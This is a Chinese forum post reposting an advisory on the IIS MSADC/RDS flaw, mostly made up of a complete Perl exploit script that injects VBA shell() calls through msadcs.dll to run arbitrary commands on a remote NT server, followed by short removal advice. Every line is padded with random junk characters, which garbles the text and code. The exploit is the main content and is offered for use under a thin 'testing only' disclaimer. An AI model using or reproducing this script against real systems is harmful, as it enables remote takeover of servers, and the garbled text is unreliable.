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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 8w:mL^6x  
N~ CQh=<  
涉及程序: |^UQVNJ  
Microsoft NT server )^s> 21  
;7?oJH;  
描述: H,w8+vZ4\  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 wZ\93W-}  
9=]HOUn  
详细: =0Y0o_  
如果你没有时间读详细内容的话,就删除: UR _Ty59  
c:\Program Files\Common Files\System\Msadc\msadcs.dll `Kf@<=  
有关的安全问题就没有了。 ^" g?m  
p19(>|$J  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 .$x}~Sw  
ojf6@p_  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 <5pNFj}0;X  
关于利用ODBC远程漏洞的描述,请参看: Tr:@Dv.O  
*v K~t|z  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm a BMV6'  
S$fS|N3]%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 e4Y+u8gT  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp =UK:83R(  
E2w-b^,5  
这里不再论述。 '*rS, y  
K g#Bg##  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Tb?XKO,  
_$@fCo0  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ineSo8| @  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 27c0wzq  
t!/~_}eDJ  
exiu;\+j  
#将下面这段保存为txt文件,然后: "perl -x 文件名" zzI,iEG  
 gvo98Id  
#!perl NR_3nt^h  
# GiuE\J9i  
# MSADC/RDS 'usage' (aka exploit) script `V V >AA5  
# iz/CC V L  
# by rain.forest.puppy |&Mo Qxw@  
# TK' 5NM+4  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me M\CzV$\y  
# beta test and find errors! &o t^+uVH  
<>n|_6'$90  
use Socket; use Getopt::Std; 7i xG{yu  
getopts("e:vd:h:XR", \%args); kDm uj>D  
vqf}(/.D  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; $+4 4US  
[3-u7Fx!  
if (!defined $args{h} && !defined $args{R}) { .Er+*j;&w  
print qq~ 1/:vFX  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 6-"tQ,AZ  
-h <host> = host you want to scan (ip or domain) diM*jN#  
-d <seconds> = delay between calls, default 1 second s-WZ3g  
-X = dump Index Server path table, if available jJ<&!=  
-v = verbose '\8YH+%It  
-e = external dictionary file for step 5 [Ca''JqrA  
I$+=Fb'N0  
Or a -R will resume a command session O ] !tK  
PV"\9OIKb.  
~; exit;} iN'T^+um=  
CT|0KB&  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ZR3,dW6S  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} X4hz\={  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} [T7&)p  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); x<!]#**;  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} wj}LVyV  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } <eSg%6z  
dPpQCx f  
if (!defined $args{R}){ $ret = &has_msadc; zB+e;x f|  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} @]~.-(IMh  
x@oxIXN  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Kzq^f=p  
. "cmd /c "; ynMYf  
$in=<STDIN>; chomp $in; OMjPC_  
$command="cmd /c " . $in ; hC<E4+5.,  
mpwh=  
if (defined $args{R}) {&load; exit;} {_\dwe9  
5X];?(VTsb  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Px?"5g#+  
&try_btcustmr; 1nvT={'R  
[Pp#r&4H  
print "\nStep 2: Trying to make our own DSN..."; *!`&+w  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; X{!,j}  
R'B_YKHBY  
print "\nStep 3: Trying known DSNs..."; J7{D6@yLS  
&known_dsn; o+}1M  
X~o;jJC  
print "\nStep 4: Trying known .mdbs..."; 'NjeF&#6  
&known_mdb; &DYC3*)Jih  
~0-)S@  
if (defined $args{e}){ pl,XS6mB  
print "\nStep 5: Trying dictionary of DSN names..."; j&S.k  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } #Cs/.(<  
7W4m&+  
print "Sorry Charley...maybe next time?\n"; M9Sj@ww  
exit; 8#A4B2  
\A\?7#9\  
############################################################################## 2,I]H'}^  
_M7|:*  
sub sendraw { # ripped and modded from whisker INk|NEX  
sleep($delay); # it's a DoS on the server! At least on mine... o%lxEd r  
my ($pstr)=@_; h'G  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wt@TR~a  
die("Socket problems\n"); IR2Qc6+{  
if(connect(S,pack "SnA4x8",2,80,$target)){ 0lq?l:/  
select(S); $|=1; Bo ywgL|  
print $pstr; my @in=<S>; 6f#Mi+"  
select(STDOUT); close(S); Moi RAO  
return @in; +Gy9K  
} else { die("Can't connect...\n"); }} FR'Nzi$  
L5d YTLY  
############################################################################## QjpJIw  
"BpDlTYM  
sub make_header { # make the HTTP request "#8^":,4  
my $msadc=<<EOT ?AxB0d9z  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 9'|k@i:  
User-Agent: ACTIVEDATA oGeV!hD  
Host: $ip  rB(Q)N  
Content-Length: $clen A -8]4p::  
Connection: Keep-Alive r_bG+iw7p  
7bGt'gvv  
ADCClientVersion:01.06 r0&LjH&R  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 4C:dkaDq]  
{4[dHfIy  
--!ADM!ROX!YOUR!WORLD! ^ -~=U^2tC  
Content-Type: application/x-varg 2|RxowXZ"  
Content-Length: $reqlen ^l ;Bo3^_  
!_c6 `oW  
EOT z8D,[`  
; $msadc=~s/\n/\r\n/g; I) *J,hs1  
return $msadc;} _E-{*,7bZS  
6b` Jq>v  
############################################################################## 6+s&%io4  
$j(4FyH\  
sub make_req { # make the RDS request X9" T(`  
my ($switch, $p1, $p2)=@_; fD_3lbiL(  
my $req=""; my $t1, $t2, $query, $dsn; ^pfM/LQ@  
8"ZcKxDk  
if ($switch==1){ # this is the btcustmr.mdb query v{1g`E  
$query="Select * from Customers where City=" . make_shell(); 4>Q] \\Lc  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . jt3W.^6HO  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} XWz~*@ci  
67Tu8I/r  
elsif ($switch==2){ # this is general make table query #t# S(A9)  
$query="create table AZZ (B int, C varchar(10))"; l96 AJB'  
$dsn="$p1";} qM^y@B2MO  
0f+]I=1\  
elsif ($switch==3){ # this is general exploit table query 0,__{?!  
$query="select * from AZZ where C=" . make_shell(); wt_ae|hv  
$dsn="$p1";} ">fRM=fl  
chuJj IY  
elsif ($switch==4){ # attempt to hork file info from index server n*|8 (fD  
$query="select path from scope()"; 1T,Bd!g  
$dsn="Provider=MSIDXS;";} %>O}bdSf  
Xpkj44cd@  
elsif ($switch==5){ # bad query >A6PH*x  
$query="select"; %2G3+T8*x  
$dsn="$p1";} %md9ou`  
% 1<@p%y/  
$t1= make_unicode($query); .Z17X_  
$t2= make_unicode($dsn); 4h}\Kl  
$req = "\x02\x00\x03\x00"; IL*MB;0>  
$req.= "\x08\x00" . pack ("S1", length($t1)); J04R,B  
$req.= "\x00\x00" . $t1 ; \naG  
$req.= "\x08\x00" . pack ("S1", length($t2)); :2{ [f+  
$req.= "\x00\x00" . $t2 ; V*6&GM&  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 98{n6$\  
return $req;} Ut2x4$9  
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############################################################################## AMK3I`=8WO  
N=8CVI  
sub make_shell { # this makes the shell() statement p1z^i(  
return "'|shell(\"$command\")|'";} QX(t@VP  
f,-'eW/j  
############################################################################## 1_n5:  
@$!"}xDR'  
sub make_unicode { # quick little function to convert to unicode d _=44( -  
my ($in)=@_; my $out; y dzvjp=  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ; Oz p  
return $out;} fX&g. fH  
M|$A)D1  
############################################################################## R*vfp?x  
>4T7D My  
sub rdo_success { # checks for RDO return success (this is kludge) MF::At[4   
my (@in) = @_; my $base=content_start(@in); k@9q5lu;T  
if($in[$base]=~/multipart\/mixed/){ 2+LvlS)C  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} U4e9[=q`'  
return 0;} z-S8s2.Fd  
`3UvKqe  
############################################################################## ]RW*3X  
O=Vj*G ,  
sub make_dsn { # this makes a DSN for us 23zR0z(L  
my @drives=("c","d","e","f"); -]Oi/i,{  
print "\nMaking DSN: "; wS:`c J  
foreach $drive (@drives) { F2=#\U$  
print "$drive: "; QVN @B[9  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .  $)(Zt^  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" @Z~0!VY  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Ti5"a<R4m6  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 3SOrM  
return 0 if $2 eq "404"; # not found/doesn't exist x C>>K6Nb  
if($2 eq "200") { 00A2[gO9  
foreach $line (@results) { vmtmiN8;d  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} bgmOX&`G  
} return 0;} |Gb~[6u   
w:9n/[  
############################################################################## ^`(3X  
X*:)]p(R  
sub verify_exists { c5HW.3"  
my ($page)=@_; LS1}j WU!  
my @results=sendraw("GET $page HTTP/1.0\n\n"); gHU0Pr9'  
return $results[0];} s3gT6  
& =vi]z:[  
############################################################################## z#olKBs  
MCfDR#a  
sub try_btcustmr { M5LqZyY  
my @drives=("c","d","e","f"); 55x.Q  
my @dirs=("winnt","winnt35","winnt351","win","windows"); k%cT38V*  
FBI^}^#_  
foreach $dir (@dirs) { a^9}ceu?   
print "$dir -> "; # fun status so you can see progress &R}2/Mt  
foreach $drive (@drives) { /vFdhh  
print "$drive: "; # ditto `ve5>aw0_Y  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 4*+)D8  
$reqlenlen=length( "$reqlen" ); T(eNK c2  
$clen= 206 + $reqlenlen + $reqlen; }nNCgH  
r6`KZ TU  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ,tOc+3Qz$  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ^(yU)k3pu  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} zDA;FKZPp  
0o&7l%Y/  
############################################################################## k%ckV`y  
lV<j?I~?Q  
sub odbc_error { +Tp>3Jh2  
my (@in)=@_; my $base; >1d`G%KfG  
my $base = content_start(@in); GVzG  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ;(9q, )  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; X9n},}bJ"  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; yi3Cd@t({{  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `Jon^&^;|  
return $in[$base+4].$in[$base+5].$in[$base+6];} "zBYhZr  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Yf,U2A\  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . /=ro$@  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ZZ{:f+=?$  
@Vac!A??:  
############################################################################## '>5W`lZ  
Q68q76  
sub verbose { >`c-Fqk  
my ($in)=@_; D[ (A`!)  
return if !$verbose; iOzY8M+N(  
print STDOUT "\n$in\n";} g)#neEA J  
}zu?SZH  
############################################################################## F2RU7o'f.  
8!{F6DG  
sub save { re\&'%~K  
my ($p1, $p2, $p3, $p4)=@_; Kr'5iFK7  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; p+ bT{:  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";  \>*B  
close OUT;} =E''$b?Em  
WrNm:N  
############################################################################## vEIDf{  
#Y;_W;#  
sub load { z<c@<M=Q*  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]%VR Nm  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 6{p] cr  
@p=<IN>; close(IN); *^q%b /f  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); z tLP {q#  
$target= inet_aton($ip) || die("inet_aton problems"); 2pEr s|r  
print "Resuming to $ip ..."; w8df-]r  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; "eiZZSz  
if($p[1]==1) { ]ozZW:  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ~ g\GC  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; E/</  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Eh&et0&=g  
if (rdo_success(@results)){print "Success!\n";} ,f;YJHEx8  
else { print "failed\n"; verbose(odbc_error(@results));}} HG/`5$L +}  
elsif ($p[1]==3){ !!4` #Z0+#  
if(run_query("$p[3]")){ W7QcDR y6  
print "Success!\n";} else { print "failed\n"; }} 7C%z 0/  
elsif ($p[1]==4){ ^%V^\DK  
if(run_query($drvst . "$p[3]")){ vf+GC*f  
print "Success!\n"; } else { print "failed\n"; }} l |c#  
exit;} B~oc.s g  
.6m%/-whS  
############################################################################## I8C(z1(N  
;LM,<QJ  
sub create_table { R7 )2@;i  
my ($in)=@_; jF}u%T)HL  
$reqlen=length( make_req(2,$in,"") ) - 28;  1 U|IN=  
$reqlenlen=length( "$reqlen" ); <TL!iM  
$clen= 206 + $reqlenlen + $reqlen; `czL$tN<P  
my @results=sendraw(make_header() . make_req(2,$in,"")); 6 ZutU ~HS  
return 1 if rdo_success(@results); %,G&By&,  
my $temp= odbc_error(@results); verbose($temp); k/&~8l.$  
return 1 if $temp=~/Table 'AZZ' already exists/; WxB}Uh  
return 0;} I$7#Z!P6|  
[4u.*oL&  
############################################################################## M~Tx 4_t  
F|t3%dpj  
sub known_dsn { Uk=-A @q  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go lj{Jw.t  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 38 Q>x  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", mlsM;A d2  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Gy+/P6  
VfK8')IXk  
foreach $dSn (@dsns) { G(2(-x"+  
print "."; 9U[ A   
next if (!is_access("DSN=$dSn")); <g SZt\  
if(create_table("DSN=$dSn")){ |2#)lGA  
print "$dSn successful\n"; 8cV3VapF  
if(run_query("DSN=$dSn")){ aXAV`%b  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { %jgB;Y  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 0=3Av8  
umt*;U=  
############################################################################## 6  XZF8W  
{s8v0~  
sub is_access { KiXRBFo  
my ($in)=@_; &Ff#E?Y4|  
$reqlen=length( make_req(5,$in,"") ) - 28; ,P&.qg i=(  
$reqlenlen=length( "$reqlen" ); vhA 4ol  
$clen= 206 + $reqlenlen + $reqlen; W+v7OSd92  
my @results=sendraw(make_header() . make_req(5,$in,"")); ~(( '1+  
my $temp= odbc_error(@results); B:-qUuS?R  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); KCE5Z?k  
return 0;} F|,_k%QP  
r5h+_&v,M  
############################################################################## jea{BhdUr  
sp=;i8Y 3  
sub run_query { ?C%mwW3pc  
my ($in)=@_; F }/tV7m  
$reqlen=length( make_req(3,$in,"") ) - 28; Pz+2(Z  
$reqlenlen=length( "$reqlen" ); Q{s9{  
$clen= 206 + $reqlenlen + $reqlen; i&%~:K*  
my @results=sendraw(make_header() . make_req(3,$in,"")); ;L <D-=  
return 1 if rdo_success(@results); 4'Svio  
my $temp= odbc_error(@results); verbose($temp); (#uz_/xXa  
return 0;} =UGyZV:z5  
!fwMkws  
############################################################################## cPFs K*w  
avJ%J"j8z  
sub known_mdb { 4f)B@A-  
my @drives=("c","d","e","f","g"); k0@b"y*  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 4=BIYC"Lu  
my $dir, $drive, $mdb; ?Xdb%.   
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; #qx$ p  
d:j65yu  
# this is sparse, because I don't know of many zSJSus  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ku8C#%.m3  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", >s 5i  
"\\system32\\certmdb.mdb", {`-f<>N3  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% hH&A1vUv  
2.,4b-^  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", n(#|  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ]0Y5 Z)3:z  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", gK_^RE9~  
"\\cfusion\\cfapps\\security\\realm_.mdb", DG%vEM,y  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", No|T#=BZ[  
"\\cfusion\\database\\cfexamples.mdb", U*p;N,SjQ  
"\\cfusion\\database\\cfsnippets.mdb", Gr),o6}p  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", e-Pn,j  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", E.V lz^B  
"\\cfusion\\brighttiger\\database\\cleam.mdb", kYW>o}J|  
"\\cfusion\\database\\smpolicy.mdb", -z s5WaJn/  
"\\cfusion\\database\cypress.mdb", W@b Z~Q9  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ] I&l0Fx  
"\\website\\cgi-win\\dbsample.mdb", 3xhGmD\SKO  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", qKSS 2f $  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" (dH "b *  
); #these are just 6Z}8"VJr {  
foreach $drive (@drives) { 5YZh e4R  
foreach $dir (@dirs){ fTq/9=Rq4  
foreach $mdb (@sysmdbs) { 4X}.aZO&b  
print "."; *eF'<._[U  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ tg R4C#a   
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ~x-"?K  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Ha)Vf+W  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; pO_$8=G+  
} else { print "Something's borked. Use verbose next time\n"; }}}}} M:5K4$>Kx  
dvW2X  
foreach $drive (@drives) { * ^+]`S  
foreach $mdb (@mdbs) { ]jB`"to*}  
print "."; -4;$NiB?  
if(create_table($drv . $drive . $dir . $mdb)){ X21k7 Ls  
print "\n" . $drive . $dir . $mdb . " successful\n"; 6?BV J  
if(run_query($drv . $drive . $dir . $mdb)){ wni^qs.i@3  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; -$A >b8  
} else { print "Something's borked. Use verbose next time\n"; }}}} p0|PVn.^h  
} O30eq 7(  
O{<uW-  
############################################################################## 75"&"*R/*G  
k9*6`w  
sub hork_idx { "n, %Hh  
print "\nAttempting to dump Index Server tables...\n"; ~_]i'ii8  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; yt4sg/] :  
$reqlen=length( make_req(4,"","") ) - 28; Ai*+LSG  
$reqlenlen=length( "$reqlen" ); r+W;}nyf  
$clen= 206 + $reqlenlen + $reqlen; <9/?+)  
my @results=sendraw2(make_header() . make_req(4,"","")); U>-GM >  
if (rdo_success(@results)){ W[G5+*i  
my $max=@results; my $c; my %d; Y(<(!TJ-  
for($c=19; $c<$max; $c++){ 7%sx["%@  
$results[$c]=~s/\x00//g;  oB8LJZ;  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Q>yO,H|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; NtDxwzj  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; KX^!t3l6  
$d{"$1$2"}="";} ZWb\^N  
foreach $c (keys %d){ print "$c\n"; } "MPr'3  
} else {print "Index server doesn't seem to be installed.\n"; }} S] R.:T_%  
3n)\D<f]#  
############################################################################## 9zD,z+  
NcyE_T  
sub dsn_dict { (Rs|"];?Z  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); jV.9d@EC  
while(<IN>){ ,ieew`  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; d9.I83SS  
next if (!is_access("DSN=$dSn")); Jz@2?wSp  
if(create_table("DSN=$dSn")){ g?gF*^_0  
print "$dSn successful\n"; [+wLy3_  
if(run_query("DSN=$dSn")){ tL\L4>^7T  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { }Ryrd!3bY  
print "Something's borked. Use verbose next time\n";}}} FfM,~s<Efz  
print "\n"; close(IN);} dk_! ~Z  
ehV}}1>O  
############################################################################## bcUa'ZfN<  
j-k]|0ea}  
sub sendraw2 { # ripped and modded from whisker |H'wDw8  
sleep($delay); # it's a DoS on the server! At least on mine... /_V4gwb}|-  
my ($pstr)=@_; @ [<B:Tqo  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || l~n=_R3  
die("Socket problems\n"); l}XnCOIT,  
if(connect(S,pack "SnA4x8",2,80,$target)){ b" kL)DL1L  
print "Connected. Getting data"; -uhg7N[3  
open(OUT,">raw.out"); my @in; a\xf\$Ym  
select(S); $|=1; print $pstr; iHk/#a  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ZJOO*S  
close(OUT); select(STDOUT); close(S); return @in; }UWi[UgA  
} else { die("Can't connect...\n"); }} ,F?O} ijk  
yUX<W'-Hev  
############################################################################## ]DK.4\^  
,L;%-}#$  
sub content_start { # this will take in the server headers D%h_V>#z  
my (@in)=@_; my $c; J8@7 5p9  
for ($c=1;$c<500;$c++) { #RWmP$+#=  
if($in[$c] =~/^\x0d\x0a/){ MNH-SQB|  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Ze3sc$fG2  
else { return $c+1; }}} BUU ) Sz  
return -1;} # it should never get here actually ]Vd1fkXO0  
w!/|aZ~*  
############################################################################## DC,]FmWs!+  
:pGgxO%q  
sub funky { r^+n06[  
my (@in)=@_; my $error=odbc_error(@in); `m\l#r 2C  
if($error=~/ADO could not find the specified provider/){ FK,Jk04on  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 0Rz",Mu>  
exit;} F=V_ACU  
if($error=~/A Handler is required/){ FfibR\dhY  
print "\nServer has custom handler filters (they most likely are patched)\n"; 2-DJ3OL]k  
exit;} ! 345  
if($error=~/specified Handler has denied Access/){ rE4qPzL  
print "\nServer has custom handler filters (they most likely are patched)\n"; eS;W>d  
exit;}} ; d :i  
OIrr'uNH  
############################################################################## c3|/8  
h 7*#;j  
sub has_msadc { 8@BN6  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); z1~FE  
my $base=content_start(@results); c7/fQc)h4d  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); m95;NT1N/g  
return 0;} J7$JW3O  
<dX7{="&  
######################## 1/ vcj~|)t  
uz@WW!+o  
 *egAx  
解决方案: ?KXgG'!!  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ]?j[P=\  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 D"+xF&  
'CC;=@J  
拿出来充数 哈哈
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